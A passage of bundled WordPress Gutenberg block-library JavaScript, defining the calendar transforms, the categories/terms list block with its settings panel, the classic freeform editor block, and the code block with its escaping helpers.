    return /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(import_jsx_runtime181.Fragment, { children: [
      status === &quot;loading&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_components11.Spinner, {}) }),
      status === &quot;error&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(&quot;p&quot;, { children: (0, import_i18n16.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n16.__)(&quot;Error: %s&quot;),
        error
      ) }) }),
      status === &quot;success&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/calendar/transforms.mjs
  var import_blocks12 = __toESM(require_blocks(), 1);
  var transforms3 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/archives&quot;],
        transform: () =&gt; (0, import_blocks12.createBlock)(&quot;core/calendar&quot;)
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/archives&quot;],
        transform: () =&gt; (0, import_blocks12.createBlock)(&quot;core/archives&quot;)
      }
    ]
  };
  var transforms_default3 = transforms3;

  // packages/block-library/build-module/calendar/index.mjs
  var { name: name11 } = block_default12;
  var settings11 = {
    icon: calendar_default,
    example: {},
    edit: CalendarEdit,
    transforms: transforms_default3
  };
  var init11 = () =&gt; initBlock({ name: name11, metadata: block_default12, settings: settings11 });

  // packages/block-library/build-module/categories/index.mjs
  var categories_exports = {};
  __export(categories_exports, {
    init: () =&gt; init12,
    metadata: () =&gt; block_default13,
    name: () =&gt; name12,
    settings: () =&gt; settings12
  });

  // packages/block-library/build-module/categories/block.json
  var block_default13 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/categories&quot;,
    title: &quot;Terms List&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Display a list of all terms of a given taxonomy.&quot;,
    keywords: [&quot;categories&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      taxonomy: {
        type: &quot;string&quot;,
        default: &quot;category&quot;
      },
      displayAsDropdown: {
        type: &quot;boolean&quot;,
        default: false
      },
      showHierarchy: {
        type: &quot;boolean&quot;,
        default: false
      },
      showPostCounts: {
        type: &quot;boolean&quot;,
        default: false
      },
      showOnlyTopLevel: {
        type: &quot;boolean&quot;,
        default: false
      },
      showEmpty: {
        type: &quot;boolean&quot;,
        default: false
      },
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      showLabel: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    usesContext: [&quot;enhancedPagination&quot;],
    supports: {
      anchor: true,
      align: true,
      html: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: &quot;wp-block-categories-editor&quot;,
    style: &quot;wp-block-categories&quot;
  };

  // packages/block-library/build-module/categories/edit.mjs
  var import_components12 = __toESM(require_components(), 1);
  var import_compose10 = __toESM(require_compose(), 1);
  var import_block_editor27 = __toESM(require_block_editor(), 1);
  var import_html_entities2 = __toESM(require_html_entities(), 1);
  var import_i18n17 = __toESM(require_i18n(), 1);
  var import_core_data6 = __toESM(require_core_data(), 1);
  var import_data14 = __toESM(require_data(), 1);
  var import_notices2 = __toESM(require_notices(), 1);
  var import_jsx_runtime182 = __toESM(require_jsx_runtime(), 1);
  function CategoriesEdit({
    attributes: {
      displayAsDropdown,
      showHierarchy,
      showPostCounts,
      showOnlyTopLevel,
      showEmpty,
      label,
      showLabel,
      taxonomy: taxonomySlug
    },
    setAttributes,
    className,
    clientId
  }) {
    const selectId = (0, import_compose10.useInstanceId)(CategoriesEdit, &quot;blocks-category-select&quot;);
    const { records: allTaxonomies, isResolvingTaxonomies } = (0, import_core_data6.useEntityRecords)(
      &quot;root&quot;,
      &quot;taxonomy&quot;,
      { per_page: -1 }
    );
    const taxonomies = allTaxonomies?.filter((t2) =&gt; t2.visibility.public);
    const taxonomy = taxonomies?.find((t2) =&gt; t2.slug === taxonomySlug);
    const isHierarchicalTaxonomy = !isResolvingTaxonomies &amp;&amp; taxonomy?.hierarchical;
    const query = { per_page: -1, hide_empty: !showEmpty, context: &quot;view&quot; };
    if (isHierarchicalTaxonomy &amp;&amp; showOnlyTopLevel) {
      query.parent = 0;
    }
    const { records: categories, isResolving } = (0, import_core_data6.useEntityRecords)(
      &quot;taxonomy&quot;,
      taxonomySlug,
      query
    );
    const { createWarningNotice } = (0, import_data14.useDispatch)(import_notices2.store);
    const showRedirectionPreventedNotice = (event) =&gt; {
      event.preventDefault();
      createWarningNotice((0, import_i18n17.__)(&quot;Links are disabled in the editor.&quot;), {
        id: `block-library/core/categories/redirection-prevented/${clientId}`,
        type: &quot;snackbar&quot;
      });
    };
    const getCategoriesList = (parentId) =&gt; {
      if (!categories?.length) {
        return [];
      }
      if (parentId === null) {
        return categories;
      }
      return categories.filter(({ parent }) =&gt; parent === parentId);
    };
    const toggleAttribute = (attributeName) =&gt; (newValue) =&gt; setAttributes({ [attributeName]: newValue });
    const renderCategoryName = (name123) =&gt; !name123 ? (0, import_i18n17.__)(&quot;(Untitled)&quot;) : (0, import_html_entities2.decodeEntities)(name123).trim();
    const renderCategoryList = () =&gt; {
      const parentId = isHierarchicalTaxonomy &amp;&amp; showHierarchy ? 0 : null;
      const categoriesList = getCategoriesList(parentId);
      return categoriesList.map(
        (category) =&gt; renderCategoryListItem(category)
      );
    };
    const renderCategoryListItem = (category) =&gt; {
      const childCategories = getCategoriesList(category.id);
      const { id, link, count, name: name123 } = category;
      return /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(&quot;li&quot;, { className: `cat-item cat-item-${id}`, children: [
        /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(&quot;a&quot;, { href: link, onClick: showRedirectionPreventedNotice, children: renderCategoryName(name123) }),
        showPostCounts &amp;&amp; ` (${count})`,
        isHierarchicalTaxonomy &amp;&amp; showHierarchy &amp;&amp; !!childCategories.length &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(&quot;ul&quot;, { className: &quot;children&quot;, children: childCategories.map(
          (childCategory) =&gt; renderCategoryListItem(childCategory)
        ) })
      ] }, id);
    };
    const renderCategoryDropdown = () =&gt; {
      const parentId = isHierarchicalTaxonomy &amp;&amp; showHierarchy ? 0 : null;
      const categoriesList = getCategoriesList(parentId);
      return /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(import_jsx_runtime182.Fragment, { children: [
        showLabel ? /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
          import_block_editor27.RichText,
          {
            className: &quot;wp-block-categories__label&quot;,
            &quot;aria-label&quot;: (0, import_i18n17.__)(&quot;Label text&quot;),
            placeholder: taxonomy?.name,
            withoutInteractiveFormatting: true,
            value: label,
            onChange: (html) =&gt; setAttributes({ label: html })
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_components12.VisuallyHidden, { as: &quot;label&quot;, htmlFor: selectId, children: label ? label : taxonomy?.name }),
        /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(&quot;select&quot;, { id: selectId, children: [
          /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(&quot;option&quot;, { children: (0, import_i18n17.sprintf)(
            /* translators: %s: taxonomy&#039;s singular name */
            (0, import_i18n17.__)(&quot;Select %s&quot;),
            taxonomy?.labels?.singular_name
          ) }),
          categoriesList.map(
            (category) =&gt; renderCategoryDropdownItem(category, 0)
          )
        ] })
      ] });
    };
    const renderCategoryDropdownItem = (category, level) =&gt; {
      const { id, count, name: name123 } = category;
      const childCategories = getCategoriesList(id);
      return [
        /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(&quot;option&quot;, { className: `level-${level}`, children: [
          Array.from({ length: level * 3 }).map(() =&gt; &quot;\xA0&quot;),
          renderCategoryName(name123),
          showPostCounts &amp;&amp; ` (${count})`
        ] }, id),
        isHierarchicalTaxonomy &amp;&amp; showHierarchy &amp;&amp; !!childCategories.length &amp;&amp; childCategories.map(
          (childCategory) =&gt; renderCategoryDropdownItem(childCategory, level + 1)
        )
      ];
    };
    const TagName2 = !!categories?.length &amp;&amp; !displayAsDropdown &amp;&amp; !isResolving ? &quot;ul&quot; : &quot;div&quot;;
    const classes = clsx_default(
      className,
      `wp-block-categories-taxonomy-${taxonomySlug}`,
      {
        &quot;wp-block-categories-list&quot;: !!categories?.length &amp;&amp; !displayAsDropdown &amp;&amp; !isResolving,
        &quot;wp-block-categories-dropdown&quot;: !!categories?.length &amp;&amp; displayAsDropdown &amp;&amp; !isResolving
      }
    );
    const blockProps = (0, import_block_editor27.useBlockProps)({
      className: classes
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(TagName2, { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_block_editor27.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(
        import_components12.__experimentalToolsPanel,
        {
          label: (0, import_i18n17.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              taxonomy: &quot;category&quot;,
              displayAsDropdown: false,
              showHierarchy: false,
              showPostCounts: false,
              showOnlyTopLevel: false,
              showEmpty: false,
              showLabel: true
            });
          },
          dropdownMenuProps,
          children: [
            Array.isArray(taxonomies) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; {
                  return taxonomySlug !== &quot;category&quot;;
                },
                label: (0, import_i18n17.__)(&quot;Taxonomy&quot;),
                onDeselect: () =&gt; {
                  setAttributes({ taxonomy: &quot;category&quot; });
                },
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n17.__)(&quot;Taxonomy&quot;),
                    options: taxonomies.map((t2) =&gt; ({
                      label: t2.name,
                      value: t2.slug
                    })),
                    value: taxonomySlug,
                    onChange: (selectedTaxonomy) =&gt; setAttributes({
                      taxonomy: selectedTaxonomy
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!displayAsDropdown,
                label: (0, import_i18n17.__)(&quot;Display as dropdown&quot;),
                onDeselect: () =&gt; setAttributes({ displayAsDropdown: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)(&quot;Display as dropdown&quot;),
                    checked: displayAsDropdown,
                    onChange: toggleAttribute(&quot;displayAsDropdown&quot;)
                  }
                )
              }
            ),
            displayAsDropdown &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !showLabel,
                label: (0, import_i18n17.__)(&quot;Show label&quot;),
                onDeselect: () =&gt; setAttributes({ showLabel: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    className: &quot;wp-block-categories__indentation&quot;,
                    label: (0, import_i18n17.__)(&quot;Show label&quot;),
                    checked: showLabel,
                    onChange: toggleAttribute(&quot;showLabel&quot;)
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!showPostCounts,
                label: (0, import_i18n17.__)(&quot;Show post counts&quot;),
                onDeselect: () =&gt; setAttributes({ showPostCounts: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)(&quot;Show post counts&quot;),
                    checked: showPostCounts,
                    onChange: toggleAttribute(&quot;showPostCounts&quot;)
                  }
                )
              }
            ),
            isHierarchicalTaxonomy &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!showOnlyTopLevel,
                label: (0, import_i18n17.__)(&quot;Show only top level terms&quot;),
                onDeselect: () =&gt; setAttributes({ showOnlyTopLevel: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)(&quot;Show only top level terms&quot;),
                    checked: showOnlyTopLevel,
                    onChange: toggleAttribute(
                      &quot;showOnlyTopLevel&quot;
                    )
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!showEmpty,
                label: (0, import_i18n17.__)(&quot;Show empty terms&quot;),
                onDeselect: () =&gt; setAttributes({ showEmpty: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)(&quot;Show empty terms&quot;),
                    checked: showEmpty,
                    onChange: toggleAttribute(&quot;showEmpty&quot;)
                  }
                )
              }
            ),
            isHierarchicalTaxonomy &amp;&amp; !showOnlyTopLevel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!showHierarchy,
                label: (0, import_i18n17.__)(&quot;Show hierarchy&quot;),
                onDeselect: () =&gt; setAttributes({ showHierarchy: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)(&quot;Show hierarchy&quot;),
                    checked: showHierarchy,
                    onChange: toggleAttribute(&quot;showHierarchy&quot;)
                  }
                )
              }
            )
          ]
        }
      ) }),
      isResolving &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_components12.Placeholder, { icon: pin_default, label: (0, import_i18n17.__)(&quot;Terms&quot;), children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_components12.Spinner, {}) }),
      !isResolving &amp;&amp; categories?.length === 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(&quot;p&quot;, { children: taxonomy.labels.no_terms }),
      !isResolving &amp;&amp; categories?.length &gt; 0 &amp;&amp; (displayAsDropdown ? renderCategoryDropdown() : renderCategoryList())
    ] });
  }

  // packages/block-library/build-module/categories/variations.mjs
  var import_i18n18 = __toESM(require_i18n(), 1);
  var variations = [
    {
      name: &quot;terms&quot;,
      title: (0, import_i18n18.__)(&quot;Terms List&quot;),
      icon: category_default,
      attributes: {
        // We need to set an attribute here that will be set when inserting the block.
        // We cannot leave this empty, as that would be interpreted as the default value,
        // which is `category` -- for which we&#039;re defining a distinct variation below,
        // for backwards compatibility reasons.
        // The logical fallback is thus the only other built-in and public taxonomy: Tags.
        taxonomy: &quot;post_tag&quot;
      },
      isActive: (blockAttributes8) =&gt; (
        // This variation is used for any taxonomy other than `category`.
        blockAttributes8.taxonomy !== &quot;category&quot;
      )
    },
    {
      name: &quot;categories&quot;,
      title: (0, import_i18n18.__)(&quot;Categories List&quot;),
      description: (0, import_i18n18.__)(&quot;Display a list of all categories.&quot;),
      icon: category_default,
      attributes: {
        taxonomy: &quot;category&quot;
      },
      isActive: [&quot;taxonomy&quot;],
      // The following is needed to prevent &quot;Terms List&quot; from showing up twice in the inserter
      // (once for the block, once for the variation). Fortunately, it does not collide with
      // `categories` being the default value of the `taxonomy` attribute.
      isDefault: true
    }
  ];
  var variations_default = variations;

  // packages/block-library/build-module/categories/index.mjs
  var { name: name12 } = block_default13;
  var settings12 = {
    icon: category_default,
    example: {},
    edit: CategoriesEdit,
    variations: variations_default
  };
  var init12 = () =&gt; initBlock({ name: name12, metadata: block_default13, settings: settings12 });

  // packages/block-library/build-module/freeform/index.mjs
  var freeform_exports = {};
  __export(freeform_exports, {
    init: () =&gt; init13,
    metadata: () =&gt; block_default14,
    name: () =&gt; name13,
    settings: () =&gt; settings13
  });

  // packages/block-library/build-module/freeform/edit.mjs
  var import_block_editor30 = __toESM(require_block_editor(), 1);
  var import_data17 = __toESM(require_data(), 1);
  var import_components15 = __toESM(require_components(), 1);
  var import_element12 = __toESM(require_element(), 1);
  var import_i18n21 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/freeform/convert-to-blocks-button.mjs
  var import_i18n19 = __toESM(require_i18n(), 1);
  var import_components13 = __toESM(require_components(), 1);
  var import_data15 = __toESM(require_data(), 1);
  var import_blocks13 = __toESM(require_blocks(), 1);
  var import_block_editor28 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime183 = __toESM(require_jsx_runtime(), 1);
  var ConvertToBlocksButton = ({ clientId }) =&gt; {
    const { replaceBlocks } = (0, import_data15.useDispatch)(import_block_editor28.store);
    const block = (0, import_data15.useSelect)(
      (select9) =&gt; {
        return select9(import_block_editor28.store).getBlock(clientId);
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
      import_components13.ToolbarButton,
      {
        onClick: () =&gt; replaceBlocks(
          block.clientId,
          (0, import_blocks13.rawHandler)({ HTML: (0, import_blocks13.serialize)(block) })
        ),
        children: (0, import_i18n19.__)(&quot;Convert to blocks&quot;)
      }
    );
  };
  var convert_to_blocks_button_default = ConvertToBlocksButton;

  // packages/block-library/build-module/freeform/modal.mjs
  var import_block_editor29 = __toESM(require_block_editor(), 1);
  var import_components14 = __toESM(require_components(), 1);
  var import_element11 = __toESM(require_element(), 1);
  var import_i18n20 = __toESM(require_i18n(), 1);
  var import_data16 = __toESM(require_data(), 1);
  var import_compose11 = __toESM(require_compose(), 1);
  var import_jsx_runtime184 = __toESM(require_jsx_runtime(), 1);
  function ModalAuxiliaryActions({ onClick, isModalFullScreen }) {
    const isMobileViewport = (0, import_compose11.useViewportMatch)(&quot;small&quot;, &quot;&lt;&quot;);
    if (isMobileViewport) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
      import_components14.Button,
      {
        size: &quot;compact&quot;,
        onClick,
        icon: fullscreen_default,
        isPressed: isModalFullScreen,
        label: isModalFullScreen ? (0, import_i18n20.__)(&quot;Exit fullscreen&quot;) : (0, import_i18n20.__)(&quot;Enter fullscreen&quot;)
      }
    );
  }
  function ClassicEdit(props) {
    const styles = (0, import_data16.useSelect)(
      (select9) =&gt; select9(import_block_editor29.store).getSettings().styles
    );
    (0, import_element11.useEffect)(() =&gt; {
      const { baseURL, suffix, settings: settings122 } = window.wpEditorL10n.tinymce;
      window.tinymce.EditorManager.overrideDefaults({
        base_url: baseURL,
        suffix
      });
      window.wp.oldEditor.initialize(props.id, {
        tinymce: {
          ...settings122,
          setup(editor) {
            editor.on(&quot;init&quot;, () =&gt; {
              const doc = editor.getDoc();
              styles.forEach(({ css }) =&gt; {
                const styleEl = doc.createElement(&quot;style&quot;);
                styleEl.innerHTML = css;
                doc.head.appendChild(styleEl);
              });
            });
          }
        }
      });
      return () =&gt; {
        window.wp.oldEditor.remove(props.id);
      };
    }, []);
    return /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(&quot;textarea&quot;, { ...props });
  }
  function ModalEdit({ clientId, content, onClose, onChange }) {
    const [isModalFullScreen, setIsModalFullScreen] = (0, import_element11.useState)(false);
    const id = `editor-${clientId}`;
    return /* @__PURE__ */ (0, import_jsx_runtime184.jsxs)(
      import_components14.Modal,
      {
        title: (0, import_i18n20.__)(&quot;Classic Editor&quot;),
        onRequestClose: onClose,
        shouldCloseOnClickOutside: false,
        overlayClassName: &quot;block-editor-freeform-modal&quot;,
        isFullScreen: isModalFullScreen,
        className: &quot;block-editor-freeform-modal__content&quot;,
        headerActions: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
          ModalAuxiliaryActions,
          {
            onClick: () =&gt; setIsModalFullScreen(!isModalFullScreen),
            isModalFullScreen
          }
        ),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(ClassicEdit, { id, defaultValue: content }),
          /* @__PURE__ */ (0, import_jsx_runtime184.jsxs)(
            import_components14.Flex,
            {
              className: &quot;block-editor-freeform-modal__actions&quot;,
              justify: &quot;flex-end&quot;,
              expanded: false,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(import_components14.FlexItem, { children: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
                  import_components14.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: &quot;tertiary&quot;,
                    onClick: onClose,
                    children: (0, import_i18n20.__)(&quot;Cancel&quot;)
                  }
                ) }),
                /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(import_components14.FlexItem, { children: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
                  import_components14.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: &quot;primary&quot;,
                    onClick: () =&gt; {
                      onChange(window.wp.oldEditor.getContent(id));
                      onClose();
                    },
                    children: (0, import_i18n20.__)(&quot;Save&quot;)
                  }
                ) })
              ]
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/freeform/edit.mjs
  var import_jsx_runtime185 = __toESM(require_jsx_runtime(), 1);
  function FreeformEdit({
    attributes: attributes2,
    setAttributes,
    clientId
  }) {
    const { content } = attributes2;
    const [isOpen, setOpen] = (0, import_element12.useState)(false);
    const editButtonRef = (0, import_element12.useRef)(null);
    const canRemove = (0, import_data17.useSelect)(
      (select9) =&gt; select9(import_block_editor30.store).canRemoveBlock(clientId),
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(import_jsx_runtime185.Fragment, { children: [
      canRemove &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_block_editor30.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_components15.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(convert_to_blocks_button_default, { clientId }) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_block_editor30.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_components15.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
        import_components15.ToolbarButton,
        {
          ref: editButtonRef,
          onClick: () =&gt; setOpen(true),
          children: (0, import_i18n21.__)(&quot;Edit&quot;)
        }
      ) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(&quot;div&quot;, { ...(0, import_block_editor30.useBlockProps)(), children: [
        content ? /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_element12.RawHTML, { children: content }) : /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
          import_components15.Placeholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(import_block_editor30.BlockIcon, { icon: classic_default }),
            label: (0, import_i18n21.__)(&quot;Classic&quot;),
            instructions: (0, import_i18n21.__)(
              &quot;Use the classic editor to add content.&quot;
            ),
            children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
              import_components15.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;primary&quot;,
                onClick: () =&gt; setOpen(true),
                children: (0, import_i18n21.__)(&quot;Edit contents&quot;)
              }
            )
          }
        ),
        isOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
          ModalEdit,
          {
            clientId,
            content,
            onClose: () =&gt; {
              setOpen(false);
              if (editButtonRef.current) {
                editButtonRef.current.focus();
              }
            },
            onChange: (newContent) =&gt; setAttributes({ content: newContent })
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/freeform/block.json
  var block_default14 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/freeform&quot;,
    title: &quot;Classic&quot;,
    category: &quot;text&quot;,
    description: &quot;Use the classic WordPress editor.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;string&quot;,
        source: &quot;raw&quot;
      }
    },
    supports: {
      className: false,
      customClassName: false,
      lock: false,
      reusable: false,
      renaming: false,
      visibility: false,
      customCSS: false
    },
    editorStyle: &quot;wp-block-freeform-editor&quot;
  };

  // packages/block-library/build-module/freeform/save.mjs
  var import_element13 = __toESM(require_element(), 1);
  var import_jsx_runtime186 = __toESM(require_jsx_runtime(), 1);
  function save8({ attributes: attributes2 }) {
    const { content } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(import_element13.RawHTML, { children: content });
  }

  // packages/block-library/build-module/freeform/index.mjs
  var { name: name13 } = block_default14;
  var settings13 = {
    icon: classic_default,
    edit: FreeformEdit,
    save: save8
  };
  var init13 = () =&gt; initBlock({ name: name13, metadata: block_default14, settings: settings13 });

  // packages/block-library/build-module/code/index.mjs
  var code_exports = {};
  __export(code_exports, {
    init: () =&gt; init14,
    metadata: () =&gt; block_default15,
    name: () =&gt; name14,
    settings: () =&gt; settings14
  });
  var import_i18n23 = __toESM(require_i18n(), 1);
  var import_blocks16 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/code/edit.mjs
  var import_i18n22 = __toESM(require_i18n(), 1);
  var import_block_editor31 = __toESM(require_block_editor(), 1);
  var import_blocks14 = __toESM(require_blocks(), 1);
  var import_jsx_runtime187 = __toESM(require_jsx_runtime(), 1);
  function CodeEdit({
    attributes: attributes2,
    setAttributes,
    onRemove,
    insertBlocksAfter,
    mergeBlocks
  }) {
    const blockProps = (0, import_block_editor31.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(&quot;pre&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(
      import_block_editor31.RichText,
      {
        tagName: &quot;code&quot;,
        identifier: &quot;content&quot;,
        value: attributes2.content,
        onChange: (content) =&gt; setAttributes({ content }),
        onRemove,
        onMerge: mergeBlocks,
        placeholder: (0, import_i18n22.__)(&quot;Write code\u2026&quot;),
        &quot;aria-label&quot;: (0, import_i18n22.__)(&quot;Code&quot;),
        preserveWhiteSpace: true,
        __unstablePastePlainText: true,
        __unstableOnSplitAtDoubleLineEnd: () =&gt; insertBlocksAfter((0, import_blocks14.createBlock)((0, import_blocks14.getDefaultBlockName)()))
      }
    ) });
  }

  // packages/block-library/build-module/code/block.json
  var block_default15 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/code&quot;,
    title: &quot;Code&quot;,
    category: &quot;text&quot;,
    description: &quot;Display code snippets that respect your spacing and tabs.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;code&quot;,
        __unstablePreserveWhiteSpace: true,
        role: &quot;content&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;],
      anchor: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          width: true,
          color: true
        }
      },
      color: {
        text: true,
        background: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-code&quot;
  };

  // packages/block-library/build-module/code/save.mjs
  var import_block_editor32 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/code/utils.mjs
  var import_compose12 = __toESM(require_compose(), 1);
  function escape(content) {
    return (0, import_compose12.pipe)(
      escapeOpeningSquareBrackets,
      escapeProtocolInIsolatedUrls
    )(content || &quot;&quot;);
  }
  function escapeOpeningSquareBrackets(content) {
    return content.replace(/\[/g, &quot;&amp;#91;&quot;);
  }
  function escapeProtocolInIsolatedUrls(content) {
    return content.replace(
      /^(\s*https?:)\/\/([^\s&lt;&gt;&quot;]+\s*)$/m,
      &quot;$1&amp;#47;&amp;#47;$2&quot;
    );
  }

  // packages/block-library/build-module/code/save.mjs
  var import_jsx_runtime188 = __toESM(require_jsx_runtime(), 1);
  function save9({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime188.jsx)(&quot;pre&quot;, { ...import_block_editor32.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime188.jsx)(
